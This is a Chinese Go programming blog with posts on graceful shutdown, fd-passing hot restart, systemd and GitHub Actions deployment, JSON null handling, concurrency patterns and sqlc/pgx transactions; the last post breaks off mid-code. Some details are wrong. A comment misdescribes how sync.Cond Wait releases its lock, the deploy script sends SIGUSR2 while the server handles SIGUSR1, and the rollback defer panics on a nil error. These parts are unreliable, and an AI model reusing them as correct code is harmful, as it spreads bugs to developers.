sulinehk

Golang 实现优雅停机、热重启、systemd 集成和持续部署

Sun, 25 May 2025 07:10:51 GMT

在上一个项目 listdb 中，客户希望实现零停机，即程序更新时，保持正在执行的请求不中断，且拒绝新的请求，保持服务可用性，让第三方用户零感知。

这种需求在云原生环境下一般被称为滚动部署（Rolling deployments），需要 k8s 等组件参与。

客户希望保持项目的简单和减少依赖，所以不能使用云原生组件和第三方包，所以需要手动实现优雅停机（Graceful Shutdown）、热重启（Hot Restart）、systemd 集成和持续部署集成。

优雅停机

Go 1.8 后能简单的使用 http.Server 的 Shutdown 来实现，示例如下：

func Start(timeout time.Duration) {
	mux := http.NewServeMux()
	mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		log.Println("start request")
		// 模拟长时间的请求
		time.Sleep(5 * time.Second)
		// 用来表示请求完成
		_, err := w.Write([]byte("request done"))
		if err != nil {
			log.Panicln(err)
		}
		log.Println("end request")
	})

	server := &http.Server{
		Addr:    ":8080",
		Handler: mux,
	}

	go func() {
		log.Println("start server")
		err := server.ListenAndServe()
		// 程序阻塞在这里，其它 goroutine 调用了 Shutdown，会立即返回 http.ErrServerClosed
		// 所以需要捕捉这个错误来防止程序退出
		if err != nil && !errors.Is(err, http.ErrServerClosed) {
			log.Panicln("ListenAndServe err:", err)
		}
		log.Println("end server")
	}()

	// 对用于通知一个信号值的通道，1 的缓冲区就足够了
	signalChan := make(chan os.Signal, 1)

	// 接管默认的信号的处理
	// 声明需要捕获的信号
	signal.Notify(signalChan, syscall.SIGTERM, syscall.SIGINT)

	// 在没有接收到信号前，阻塞在这里
	log.Println("start block signal")
	<-signalChan
	log.Println("end block signal")

	ctx, cancel := context.WithTimeout(context.Background(), timeout)
	defer cancel()

	// 接收到信号后，开始关闭
	log.Println("start shutdown")
	// 不需要手动调用 server.Close，Shutdown 会做
	err := server.Shutdown(ctx)
	if err != nil {
		if errors.Is(err, context.DeadlineExceeded) {
			log.Fatalln("Shutdown timeout")
			// 超时后，可以使用重试、降级和熔断等手段
		} else {
			log.Panicln("Shutdown err:", err)
		}
	}
	log.Println("end shutdown")
}

常见信号和其作用为：

SIGKILL：立即终止信号，无法被捕获
SIGTERM：标准的终止进程信号，也是 kill 命令默认发送的信号
SIGINT：终端中断信号，即 Ctrl+C
SIGUSR1、SIGUSR2：用户自定义信号，后面会用于热重启
SIGHUP：重载配置信号

目前只捕获了 SIGTERM 和 SIGINT。

对优雅停机的测试如下：

func TestGracefulShutdown(t *testing.T) {
	go Start(10 * time.Second)
	// 这里的 sleep 是为了让程序进入 <-signalChan 的阻塞
	time.Sleep(1 * time.Second)

	go func() {
		// 如果直接调用路由对应的处理函数，会导致无法进入 Shutdown 的等待队列
		// 所以只能直接调用 http.Get
		resp, err := http.Get("http://localhost:8080/")
		if err != nil {
			log.Panicln("Get err:", err)
		}
		defer resp.Body.Close()

		respBodyBytes, err := io.ReadAll(resp.Body)
		if err != nil {
			log.Panicln("ReadAll err:", err)
		}

		log.Println("sign message:", string(respBodyBytes))
	}()
	// 这里的 sleep 是为了让上一个请求发出后，再开始发送信号
	time.Sleep(1 * time.Second)

	process, err := os.FindProcess(os.Getpid())
	if err != nil {
		t.Fatal("FindProcess err:", err)
	}

	err = process.Signal(syscall.SIGTERM)
	if err != nil {
		t.Fatal("Signal err:", err)
	}

	// 这里的 sleep 是为了防止程序过快退出，导致无法看到请求完成的日志
	time.Sleep(8 * time.Second)
}

日志显示了，在请求进行中时，即使收到信号，也会等待请求完成：

2025/05/20 13:33:28 start server
2025/05/20 13:33:28 start block signal
2025/05/20 13:33:29 start request
2025/05/20 13:33:30 end block signal
2025/05/20 13:33:30 start shutdown
2025/05/20 13:33:30 end server
2025/05/20 13:33:34 end request
2025/05/20 13:33:34 sign message: request done
2025/05/20 13:33:34 end shutdown

对超时的测试如下：

func TestGracefulShutdownTimeout(t *testing.T) {
	// timeout 小于请求的 time.Sleep(5 * time.Second)，用来模拟超时场景
	go Start(3 * time.Second)
	// 这里的 sleep 是为了让程序进入 <-signalChan 的阻塞
	time.Sleep(1 * time.Second)

	go func() {
		// 如果直接调用路由对应的处理函数，会导致无法进入 Shutdown 的等待队列
		// 所以只能直接调用 http.Get
		resp, err := http.Get("http://localhost:8080/")
		if err != nil {
			log.Panicln("Get err:", err)
		}
		defer resp.Body.Close()

		respBodyBytes, err := io.ReadAll(resp.Body)
		if err != nil {
			log.Panicln("ReadAll err:", err)
		}

		log.Println("sign message:", string(respBodyBytes))
	}()
	// 这里的 sleep 是为了让上一个请求发出后，再开始发送信号
	time.Sleep(1 * time.Second)

	process, err := os.FindProcess(os.Getpid())
	if err != nil {
		t.Fatal("FindProcess err:", err)
	}

	err = process.Signal(syscall.SIGTERM)
	if err != nil {
		t.Fatal("Signal err:", err)
	}

	// 这里的 sleep 是为了防止程序过快退出，导致无法看到请求完成的日志
	time.Sleep(8 * time.Second)
}

日志显示了，在请求进行中时，可以捕获超时错误：

2025/05/20 13:37:01 start server
2025/05/20 13:37:01 start block signal
2025/05/20 13:37:02 start request
2025/05/20 13:37:03 end block signal
2025/05/20 13:37:03 start shutdown
2025/05/20 13:37:03 end server
2025/05/20 13:37:06 Shutdown timeout

热重启

该实现结合了优雅停机和热重启。

但因为需求紧急，且热重启逻辑过于复杂，以下代码可能有错误，谨慎在生产环境中使用。

最好还是使用第三方包，或者干脆使用定时任务在流量少的时候停机更新。

步骤

正常启动，阻塞在 server.Serve 和 switch <-signalChan，等待信号
接收到 SIGUSR1 信号，开始热重启
从正常启动的 listener 获取文件描述符，通过命令行参数 -fd n 传递给新进程
启动新进程，旧进程结束
新进程从传递的 -fd 参数获取 listener，回到第一步，阻塞在 server.Serve 和 switch <-signalChan，等待信号

代码

func main() {
	// 0 表示未传入
	// flag 参数始终不为 nil
	fd := flag.Uint("fd", 0, "旧进程传给新进程的文件描述符")
	flag.Parse()

	// 如果未传入 fd，正常 listen
	// 如果传入了 fd，通过 fd 来 listen
	// 未传入，正常启动
	var listener net.Listener
	if *fd == 0 {
		listener = normalModeListener()
	} else {
		listener = hotRestartModeListener(*fd)
	}

	// 这里不再设置地址，net.Listen 已经设置了
	server := &http.Server{
		Handler: handler(),
	}
	// 不管是 normal mode 还是 hot restart mode 都会进入这里，只不过 listener 不同
	go func() {
		log.Println("start serve")

		err := server.Serve(listener)

		log.Println("stop Serve err:", err)

		if err != nil && !errors.Is(err, http.ErrServerClosed) {
			log.Panicln("Serve err:", err)
		}

		log.Println("end serve")
	}()

	signalChan := make(chan os.Signal, 1)
	signal.Notify(signalChan, syscall.SIGTERM, syscall.SIGINT, syscall.SIGUSR1)

	log.Println("start block signal")

	switch <-signalChan {
	case syscall.SIGUSR1:
		log.Println("start hot restart")

		// hot restart mode，第一步：旧进程接收到信号
		// listener 和 server 都是正常打开的
		err := HotRestart(listener)
		if err != nil {
			log.Panicln(err)
		}

		log.Println("start hot restart mode graceful shutdown")

		// server.Shutdown(ctx) 会关闭文件描述符
		GracefulShutdown(server)

		log.Println("end hot restart mode graceful shutdown")

		log.Println("end hot restart")
		// 旧进程主动退出
		// 跟 os.Exit(0) 没有区别？

	case syscall.SIGTERM, syscall.SIGINT:
		log.Println("start normal mode graceful shutdown")

		GracefulShutdown(server)
		// 自然退出
		log.Println("end normal mode graceful shutdown")
	}

	log.Println("end block signal")
}

func handler() *http.ServeMux {
	mux := http.NewServeMux()
	mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		log.Println("start request")

		time.Sleep(5 * time.Second)
		_, err := w.Write([]byte("request done"))
		if err != nil {
			log.Panicln(err)
		}

		log.Println("request pid =", os.Getpid())

		log.Println("end request")
	})
	return mux
}

func normalModeListener() net.Listener {
	log.Println("start listen on normal mode")

	log.Println("normal mode listen on pid =", os.Getpid())

	// fd1，一般是 3 号
	listener, err := net.Listen("tcp", ":8080")
	if err != nil {
		log.Panicln("Listen err:", err)
	}

	log.Println("end listen on normal mode")

	return listener
}

func hotRestartModeListener(fd uint) net.Listener {
	// hot restart mode，第二步：来自 StartProcess
	log.Println("start listen on hot restart mode")

	log.Println("hot restart mode listen on pid =", os.Getpid())

	log.Println("hot restart mode receive fd =", fd)

	// NewFile 的第二个参数不重要
	file := os.NewFile(uintptr(fd), "random string")
	if file == nil {
		log.Panicln("invalid fd:", fd)
	}

	// // 关闭 3 号的代码，但是会导致请求过程中，发送升级信号，返回错误
	// oldFile := os.NewFile(uintptr(*fd-1), "random string2")
	// if oldFile == nil {
	// 	log.Panicln("invalid fd:", *fd)
	// }
	// err := oldFile.Close()
	// if err != nil {
	// 	log.Panicln("Close err:", err)
	// }

	// 会创建 file 的文件描述符副本
	// 原本是 5 号，但顺延到 6 号
	listener, err := net.FileListener(file)
	if err != nil {
		err = file.Close()
		if err != nil {
			log.Panicln("Close err:", err)
		}

		log.Panicln("FileListener err:", err)
	}

	// 创建了副本就马上关闭原来的
	// 关闭 4 号
	err = file.Close()
	if err != nil {
		log.Panicln("Close err:", err)
	}

	// 这里如果用 defer，会导致 main 函数返回时才执行
	// 但由于使用了 os.Exit，会导致 main 不会正常返回，所以不会执行 defer
	// 就算不使用 os.Exit 也会不关闭，能看到日志，但是链接数还是增加，不知道为什么
	// defer func() {
	// 	log.Println("start close file")
	// 	err := file.Close()
	// 	if err != nil {
	// 		log.Panicln("Close err:", err)
	// 	}
	// 	log.Println("end close file")
	// }()

	log.Println("end listen on hot restart mode")

	return listener
}

func GracefulShutdown(server *http.Server) {
	ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
	defer cancel()

	err := server.Shutdown(ctx)
	if err != nil {
		if errors.Is(err, context.DeadlineExceeded) {
			log.Fatalln("Shutdown timeout")
		} else {
			log.Panicln("Shutdown err:", err)
		}
	}
}

func HotRestart(listener net.Listener) error {
	// 不需要关闭 tcpListener，server 里面有一个 tcpListener，GracefulShutdown 会关闭
	tcpListener, ok := listener.(*net.TCPListener)
	if !ok {
		return errors.New("listener not *net.TCPListener")
	}

	// 会创建 tcpListener 文件描述符的副本，新的 fd 数字 = fd + 1，上面的是 3 号，所以这里是 4 号
	// 需要传递给新进程，所以不能关闭
	file, err := tcpListener.File()
	if err != nil {
		return err
	}

	fd := file.Fd()

	log.Println("tcpListener fd copy =", fd)

	// Go 默认设置 FD_CLOEXEC 给套接字，
	// 但是该标志会导致在调用 exec（os.StartProcess 或 cmd.Start） 时，被操作系统自动关闭
	// 所以需要清除该标记
	err = clearCLOEXEC(fd)
	if err != nil {
		return err
	}

	log.Println("old args =", os.Args)

	pureArgs := os.Args[1:]

	// 需要传递原来的参数
	// 并且把 fd 放在命令行参数，给新进程使用
	// 如果有 -fd，就替换 -fd 对应的数字，不然添加 -fd n
	fdStr := strconv.Itoa(int(fd))
	found := false
	for i := range pureArgs {
		if pureArgs[i] == "-fd" {
			pureArgs[i+1] = fdStr
			found = true
		}
	}
	if !found {
		pureArgs = append(pureArgs, "-fd", fdStr)
	}

	log.Println("new args =", pureArgs)

	// 仅使用 os.Args[0] 可能会导致在环境变量的干扰下失效
	name, err := exec.LookPath(os.Args[0])
	if err != nil {
		return err
	}

	wd, err := os.Getwd()
	if err != nil {
		return err
	}

	cmd := exec.Command(name, pureArgs...)
	log.Println(cmd.Args)
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr
	// 根据需要传递旧进程的环境变量和工作目录
	cmd.Env = os.Environ()
	cmd.Dir = wd
	// 同时传递 fd 和 file 的原因是
	// file 只是让新进程和操作系统绑定对应文件描述符
	// 还需要通过 os.NewFile(fd) 来获得一个 Go 结构体数据结构，才能操作对应的套接字
	cmd.ExtraFiles = []*os.File{file}

	err = cmd.Start()
	if err != nil {
		return err
	}

	// 更底层的启动方式
	// newProcess, err := os.StartProcess(name, newArgs, &os.ProcAttr{
	// 	Files: []*os.File{os.Stdin, os.Stdout, os.Stderr, file},
	// 	Env: os.Environ(),
	// 	Dir: wd,
	// })
	// if err != nil {
	// 	return err
	// }

	return nil
}

func clearCLOEXEC(fd uintptr) error {
	// 直接清除全部
	// _, _, errno := syscall.Syscall(syscall.SYS_FCNTL, fd, syscall.F_SETFD, 0)
	// if errno != 0 {
	// 	return errors.New("cannot clear all flag on fd")
	// }

	// 先获取，然后清除
	flags, _, errno := syscall.Syscall(syscall.SYS_FCNTL, fd, uintptr(syscall.F_GETFD), 0)
	if errno != 0 {
		return errors.New("cannot get flags on fd")
	}

	newFlags := flags &^ syscall.FD_CLOEXEC
	_, _, errno = syscall.Syscall(syscall.SYS_FCNTL, fd, uintptr(syscall.F_SETFD), newFlags)
	if errno != 0 {
		return errors.New("cannot set flags on fd")
	}

	return nil
}

测试

因为涉及启动进程，所以难以使用 Go 内置测试环境，改为手动测试，步骤如下：

启动服务：go build -o restart && ./restart
使用代码每隔 1s 访问一次路由
发送热重启信号：kill -SIGUSR1 $(pidof restart)

步骤 2 使用以下代码：

	for {
		resp, err := http.Get("http://localhost:8080/")
		if err != nil {
			log.Println(err)
		}
		body, _ := io.ReadAll(resp.Body)
		log.Println(string(body))
		time.Sleep(1 * time.Second)
	}

可以看到日志显示了新进程的启动，服务也并没有中断。

改进

端口复用，添加 SO_REUSEPORT 支持
关闭多余文件描述符：在热重启后，通过命令 lsof -p $(pidof restart) 可以看出，占用的文件描述符多了一个

第三方包评估

最新的还在维护的包：

https://github.com/cloudflare/tableflip
https://github.com/sevlyar/go-daemon
https://github.com/rs/seamless

以下包可能过旧，但可以参考：

https://github.com/facebookarchive/grace
https://github.com/fvbock/endless
https://github.com/rcrowley/goagain
https://github.com/crawshaw/littleboss

systemd 集成

参考 tableflip：

[Unit]
Description=Service using tableflip

[Service]
ExecStart=/path/to/binary -some-flag /path/to/pid-file
ExecReload=/bin/kill -HUP $MAINPID
PIDFile=/path/to/pid-file

因为 systemd 需要 pid-file 实现自动重启等功能，所以还需要实现写入 pid-file 的逻辑。

持续部署

这里以 GitHub Actions 为例：

on: [ push ]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@main
      - uses: actions/setup-go@main
        with:
          go-version-file: 'go.mod'
      - run: go build -o example .
      - uses: appleboy/scp-action@master
        with:
          host: ${{ secrets.host }}
          username: ${{ secrets.user }}
          key: ${{ secrets.serverKey }}
          port: ${{ secrets.port }}
          source: "example"
          target: "/"

      - uses: appleboy/ssh-action@master
        with:
          host: ${{ secrets.host }}
          username: ${{ secrets.user }}
          key: ${{ secrets.serverKey }}
          port: ${{ secrets.port }}
          script:
            ps -C example >/dev/null && pkill -SIGUSR2 example || ./example

可能还需要实现通过命令行参数，传递新的二进制文件路径的功能。

参考链接

Graceful Shutdown in Go: Practical Patterns

Integration of a Go service with systemd: readiness & liveness

Graceful Restart in Golang

Golang JSON 解码时区分正常值、零值、未传入和 null

Mon, 12 May 2025 09:50:58 GMT

问题

在上一个项目 listdb 中，客户希望在传入的 JSON 中区分正常值、零值、未传入和 null。

但 Golang 使用默认的 JSON 解码时，无法区分，示例如下：

func TestDistinguishProblem(t *testing.T) {
	type jsonStruct struct {
		Value bool
	}

	normalValueJSON := []byte(`{"Value": true}`)
	var normalValue jsonStruct
	err := json.Unmarshal(normalValueJSON, &normalValue)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println(normalValue.Value) // true

	zeroValueJSON := []byte(`{"Value": false}`)
	var zeroValue jsonStruct
	err = json.Unmarshal(zeroValueJSON, &zeroValue)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println(zeroValue.Value) // false

	noPassInJSON := []byte(`{}`)
	var noPassIn jsonStruct
	err = json.Unmarshal(noPassInJSON, &noPassIn)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println(noPassIn.Value) // false

	nullValueJSON := []byte(`{"Value": null}`)
	var nullValue jsonStruct
	err = json.Unmarshal(nullValueJSON, &nullValue)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println(nullValue.Value) // false
}

解决方案 1：指针

使用对应类型的指针，当指针为 nil 时，表示未传入或传入 null；当指针不为 nil 且为零值时，表示零值。

但这样还是无法区分未传入和传入 null，示例如下：

func TestPointer(t *testing.T) {
	type jsonStruct struct {
		Value *bool
	}

	normalValueJSON := []byte(`{"Value": true}`)
	var normalValue jsonStruct
	err := json.Unmarshal(normalValueJSON, &normalValue)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println(*normalValue.Value) // true

	zeroValueJSON := []byte(`{"Value": false}`)
	var zeroValue jsonStruct
	err = json.Unmarshal(zeroValueJSON, &zeroValue)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println(*zeroValue.Value) // false

	noPassInJSON := []byte(`{}`)
	var noPassIn jsonStruct
	err = json.Unmarshal(noPassInJSON, &noPassIn)
	if err != nil {
		log.Fatal(err)
	}
	if noPassIn.Value == nil {
		fmt.Println("no pass in or null")
	} else {
		fmt.Println(*noPassIn.Value)
	}

	nullValueJSON := []byte(`{"Value": null}`)
	var nullValue jsonStruct
	err = json.Unmarshal(nullValueJSON, &nullValue)
	if err != nil {
		log.Fatal(err)
	}
	if nullValue.Value == nil {
		fmt.Println("no pass in or null")
	} else {
		fmt.Println(*nullValue.Value)
	}
}

解决方案 2：结构体

使用指针和一个 bool 表示值是否定义，底层原理跟指针方案一样。

当 Defined 为 false 时，表示未传入或传入 null；当 Defined 为 true 时且 Value 为零值时，表示零值。

同样无法区分未传入和传入 null，示例如下：

type jsonStruct[T any] struct {
	Defined bool
	Value   *T
}

func TestStruct(t *testing.T) {
	normalValueJSON := []byte(`{"Value": true}`)
	var normalValue jsonStruct[bool]
	err := json.Unmarshal(normalValueJSON, &normalValue)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println(*normalValue.Value) // true

	zeroValueJSON := []byte(`{"Value": false}`)
	var zeroValue jsonStruct[bool]
	err = json.Unmarshal(zeroValueJSON, &zeroValue)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println(*zeroValue.Value) // false

	noPassInJSON := []byte(`{}`)
	var noPassIn jsonStruct[bool]
	err = json.Unmarshal(noPassInJSON, &noPassIn)
	if err != nil {
		log.Fatal(err)
	}
	if noPassIn.Defined == false {
		fmt.Println("no pass in or null")
	} else {
		fmt.Println(*noPassIn.Value)
	}

	nullValueJSON := []byte(`{"Value": null}`)
	var nullValue jsonStruct[bool]
	err = json.Unmarshal(nullValueJSON, &nullValue)
	if err != nil {
		log.Fatal(err)
	}
	if nullValue.Defined == false {
		fmt.Println("no pass in or null")
	} else {
		fmt.Println(*nullValue.Value)
	}
}

func (j *jsonStruct[T]) UnmarshalJSON(data []byte) error {
	type tempStruct struct {
		Value *T
	}

	var temp tempStruct
	err := json.Unmarshal(data, &temp)
	if err != nil {
		return err
	}

	if temp.Value != nil {
		j.Defined = true
	}

	j.Value = temp.Value
	return nil
}

解决方案 3：两段式解码

第一次先解码到 json.RawMessage，第二次再解码到具体的类型。

通过 json.RawMessage 可以判断到底是正常值、零值、未传入还是 null。示例如下：

func TestRaw(t *testing.T) {
	type jsonStruct struct {
		Value json.RawMessage
	}

	normalValueJSON := []byte(`{"Value": true}`)
	var normalRawValue jsonStruct
	err := json.Unmarshal(normalValueJSON, &normalRawValue)
	if err != nil {
		log.Fatal(err)
	}
	var normalValue bool
	err = json.Unmarshal(normalRawValue.Value, &normalValue)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println(normalValue) // true

	zeroValueJSON := []byte(`{"Value": false}`)
	var zeroRawValue jsonStruct
	err = json.Unmarshal(zeroValueJSON, &zeroRawValue)
	if err != nil {
		log.Fatal(err)
	}
	var zeroValue bool
	err = json.Unmarshal(zeroRawValue.Value, &zeroValue)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println(zeroValue) // false

	noPassInJSON := []byte(`{}`)
	var noPassInRaw jsonStruct
	err = json.Unmarshal(noPassInJSON, &noPassInRaw)
	if err != nil {
		log.Fatal(err)
	}
	if noPassInRaw.Value == nil {
		fmt.Println("no pass in")
	} else {
		fmt.Println(noPassInRaw.Value)
	}

	nullValueJSON := []byte(`{"Value": null}`)
	var nullValueRaw jsonStruct
	err = json.Unmarshal(nullValueJSON, &nullValueRaw)
	if err != nil {
		log.Fatal(err)
	}
	if string(nullValueRaw.Value) == "null" {
		fmt.Println("null")
	} else {
		fmt.Println(nullValueRaw.Value)
	}
}

参考链接

Unmarshalling JSON with Null Boolean Values in Go

JSON field set to null vs field not there

json.Unmarshal 解码数字意外变为 float64 问题

Fri, 09 May 2025 08:17:24 GMT

问题

在上一个项目 listdb 中，客户希望通过 any 类型来收集多种类型的值，并且需要兼容超出 math.MaxUint64 的数字。

但使用 json.Unmarshal 解码数字类型到 any 类型时，会默认变为 float64，如：

func TestNumber(t *testing.T) {
	jsonStruct := map[string]int64{"Int": 1}
	jsonBytes, err := json.Marshal(jsonStruct)
	if err != nil {
		fmt.Println("marshal err:", err)
	}
	fmt.Println("jsonBytes:", string(jsonBytes)) // jsonBytes: {"Int":1}

	var jsonDecodeStruct map[string]any
	err = json.Unmarshal(jsonBytes, &jsonDecodeStruct)
	if err != nil {
		fmt.Println("unmarshal err:", err)
	}

	// dec := json.NewDecoder(bytes.NewReader(jsonBytes))
	// dec.UseNumber()
	// err = dec.Decode(&jsonDecodeStruct)
	// if err != nil {
	// 	fmt.Println("decode err:", err)
	// }

	fmt.Println("jsonDecodeStruct:", jsonDecodeStruct) // jsonDecodeStruct: map[Int:1]
	fmt.Printf("Int type = %T\n", jsonDecodeStruct["Int"]) // Int type = float64
}

解决方案

使用注释的 json.NewDecoder 和 UseNumber 替换 json.Unmarshal 来解决。

类型会变为 json.Number，底层类型为 string。

这同样适用于 big.Int 类型，如：

func TestNumber(t *testing.T) {
	bigInt := big.NewInt(0)
	bigInt.SetString("144445436745653633243543634375134532532", 10)

	jsonStruct := map[string]*big.Int{"Int": bigInt}
	jsonBytes, err := json.Marshal(jsonStruct)
	if err != nil {
		fmt.Println("marshal err:", err)
	}
	fmt.Println("jsonBytes:", string(jsonBytes))

	var jsonDecodeStruct map[string]any
	dec := json.NewDecoder(bytes.NewReader(jsonBytes))
	dec.UseNumber()
	err = dec.Decode(&jsonDecodeStruct)
	if err != nil {
		fmt.Println("decode err:", err)
	}

	fmt.Println("jsonDecodeStruct:", jsonDecodeStruct)
	fmt.Printf("Int type = %T\n", jsonDecodeStruct["Int"])
}

类型同样是 json.Number。

参考链接

json package - encoding/json - Go Packages

Golang 并发监控值变化

Wed, 07 May 2025 11:19:40 GMT

在上一个项目 listdb 中，需要对自定义的表结构在多台机器请求间保持同步，所以需要并发监控值变化，以下是常见的三种方法。

轮询

使用 sync/atomic 包对值进行存储和读取，当轮询发现值变化时返回。

简单、无锁，但是非实时，有轮询的延迟。

package polling

import (
	"log"
	"sync/atomic"
	"time"
)

var val int64

func get(oldAddr *int64) int64 {
	log.Println("start get")

	// 保存值用来比较
	oldVal := *oldAddr

	for {
		log.Println("start for")

		newVal := atomic.LoadInt64(oldAddr)

		log.Println("newVal =", newVal)
		log.Println("oldVal =", oldVal)

		if newVal == oldVal {
			log.Println("start polling")

			time.Sleep(100 * time.Millisecond)
		} else {
			log.Println("end polling")
			log.Println("end for")
			log.Println("end get")

			return newVal
		}
	}
}

func set(newVal int64) {
	log.Println("start set")
	log.Println("start change val")

	atomic.StoreInt64(&val, newVal)

	log.Println("end change val")
	log.Println("end set")
}

package polling

import (
	"log"
	"testing"
	"time"
)

func TestPolling(t *testing.T) {
	go func() {
		time.Sleep(2 * time.Second)
		set(1)
	}()

	go func() {
		newVal := get(&val)
		log.Println(newVal)
	}()

	time.Sleep(3 * time.Second)
}

日志如下，已删除部分重复数据：

2025/05/07 18:58:42 start get
2025/05/07 18:58:42 start for
2025/05/07 18:58:42 newVal = 0
2025/05/07 18:58:42 oldVal = 0
2025/05/07 18:58:42 start polling
2025/05/07 18:58:42 start for
2025/05/07 18:58:42 newVal = 0
2025/05/07 18:58:42 oldVal = 0
2025/05/07 18:58:44 start polling
2025/05/07 18:58:44 start set
2025/05/07 18:58:44 start change val
2025/05/07 18:58:44 end change val
2025/05/07 18:58:44 end set
2025/05/07 18:58:44 start for
2025/05/07 18:58:44 newVal = 1
2025/05/07 18:58:44 oldVal = 0
2025/05/07 18:58:44 end polling
2025/05/07 18:58:44 end for
2025/05/07 18:58:44 end get
2025/05/07 18:58:44 1

条件变量

先新建一个互斥锁，把锁放进 sync.Cond，通过 Wait() 阻塞，值修改后通过 Broadcast() 广播。

sync.Cond 容易出错，不建议使用，而且需要用户自己完成部分同步工作，详见：Go advanced concurrency patterns: part 3 (channels)

package cond

import (
	"log"
	"sync"
)

var val int

var mu = new(sync.Mutex)

// 赋值 mu 给 cond 内部的锁
var cond = sync.NewCond(mu)

func get(old int) int {
	log.Println("start get")

	mu.Lock()
	defer mu.Unlock()

	// val 和 old 相同时，即未改变时，直接进入 for 等待改变
	// val 和 old 不相同时，直接返回 val
	for val == old {
		log.Println("start for")

		// 阻塞，接收到广播才会停止阻塞
		// cond.Wait() 之前必须获取到 mu 锁
		log.Println("start wait")
		cond.Wait()
		log.Println("end wait")
	}

	log.Println("end for")

	log.Println("end get")

	return val
}

func set(newVal int) {
	log.Println("start set")

	// 这里不会死锁吗？
	// 不会，cond.Wait() 里面每隔一段系统内置的时间，就会解除 mu 的锁
	mu.Lock()
	defer mu.Unlock()

	log.Println("start change val")
	val = newVal
	log.Println("end change val")

	// 发生消息到全部，即 cond.Wait()
	log.Println("start broadcast")
	cond.Broadcast()
	log.Println("end broadcast")

	log.Println("end set")
}

package cond

import (
	"log"
	"testing"
	"time"
)

func TestCond(t *testing.T) {
	go func() {
		time.Sleep(2 * time.Second)
		set(1)
	}()

	go func() {
		newVal := get(val)
		log.Println(newVal)
	}()

	time.Sleep(3 * time.Second)
}

日志如下：

2025/05/07 15:44:15 start get
2025/05/07 15:44:15 start for
2025/05/07 15:44:15 start wait
2025/05/07 15:44:17 start set
2025/05/07 15:44:17 start change val
2025/05/07 15:44:17 end change val
2025/05/07 15:44:17 start broadcast
2025/05/07 15:44:17 end broadcast
2025/05/07 15:44:17 end set
2025/05/07 15:44:17 end wait
2025/05/07 15:44:17 end for
2025/05/07 15:44:17 end get
2025/05/07 15:44:17 1

channel

类似 sync.Cond，但通过 select 阻塞，值修改后通过 close channel 广播。

package channel

import (
	"context"
	"log"
	"sync"
)

var val int

var mu sync.Mutex

var done = make(chan struct{})

func get(ctx context.Context, old int) (int, bool) {
	log.Println("start get")

	mu.Lock()
	// 获取值的复制
	v, ch := val, done
	mu.Unlock()

	// val 和 old 相同时，即未改变时，直接进入 for
	// val 和 old 不相同时，直接返回 val
	for v == old {
		log.Println("start for")

		log.Println("start wait")
		select {
		case <-ctx.Done():
			return 0, false // false = timeout
		case <-ch:
			mu.Lock()
			log.Println("start get val")
			v, ch = val, done
			log.Println("end get val")
			mu.Unlock()
		}

		log.Println("end wait")
	}

	log.Println("end for")

	log.Println("end get")

	return v, true
}

func set(newVal int) {
	log.Println("start set")

	mu.Lock()
	defer mu.Unlock()

	log.Println("start change val")
	val = newVal
	log.Println("end change val")

	log.Println("start close chan")
	close(done)
	log.Println("end close chan")

	// 因为 close 了的通道无法再次使用，这里重新 make 一个
	done = make(chan struct{})
}

package channel

import (
	"context"
	"log"
	"testing"
	"time"
)

func TestChannel(t *testing.T) {
	go func() {
		time.Sleep(2 * time.Second)
		set(1)
	}()

	go func() {
		ctx := context.Background()
		newVal, ok := get(ctx, val)
		log.Println(newVal)
		log.Println(ok)
	}()

	time.Sleep(3 * time.Second)
}

日志如下：

2025/05/07 15:54:08 start get
2025/05/07 15:54:08 start for
2025/05/07 15:54:08 start wait
2025/05/07 15:54:10 start set
2025/05/07 15:54:10 start change val
2025/05/07 15:54:10 end change val
2025/05/07 15:54:10 start close chan
2025/05/07 15:54:10 end close chan
2025/05/07 15:54:10 start get val
2025/05/07 15:54:10 end get val
2025/05/07 15:54:10 end wait
2025/05/07 15:54:10 end for
2025/05/07 15:54:10 end get
2025/05/07 15:54:10 1
2025/05/07 15:54:10 true

go run main.go 返回未定义错误

Sun, 04 May 2025 12:09:09 GMT

问题

在上一个项目 listdb 中，客户希望能够让第三方开发人员方便理解，所以没有使用流行的 Golang 项目结构，而是直接将所有文件平铺到 main 包。

但当 main.go 和它所依赖的 go 文件在 main 包时，只运行 go run main.go 会返回未定义错误：

# command-line-arguments
./main.go:42:13: undefined: Setup

其它 go 命令不会返回错误，如：go build

原因

这是因为 go run main.go 只传递了 main.go 作为源文件列表，没有自动解析依赖。

解决方案

直接传递所有依赖，如：go run main.go dependency.go
使用通配符传递所有依赖，如：go run . 或者 go run *.go。不过后者在有测试文件时不可用。
把依赖项移出 main 包，go 会自动解析依赖。

参考链接

[golang]Go常见问题：# command-line-arguments: ***: undefined: ***

sqlc 配合 pgx 使用事务

Sat, 18 May 2024 06:51:09 GMT

获取链接

首先，需要通过 pgx 获取一个链接：

func Setup(ctx context.Context, DSN string) *pgx.Conn {
	conn, err := pgx.Connect(ctx, DSN)
	if err != nil {
		log.Fatal(err)
	}
	return conn
}

开始事务

然后，在返回的链接结构体上，调用 Begin 方法来开始一个事务：

transaction, err := conn.Begin(ctx)
if err != nil {
	Err(w, errcode.Database)
	return
}

回滚数据

如果需要在发生错误时回滚，可以通过 defer 捕捉错误：

defer func() {
	err := transaction.Rollback(ctx)
	if !errors.Is(err, pgx.ErrTxClosed) {
		panic(err)
	}
}()

查询

查询时，需要使用 sqlc 生成的代码来和 pgx 配合。

sqlc 生成的代码如下：

func New(db DBTX) *Queries {
	return &Queries{db: db}
}

通过传入 Begin 返回的事务来配合 sqlc：

query := New(transaction)

exist, err := query.CheckUserByUsername(ctx, params.Username)
if err != nil {
	Err(w, errcode.Database)
	return
}
if exist {
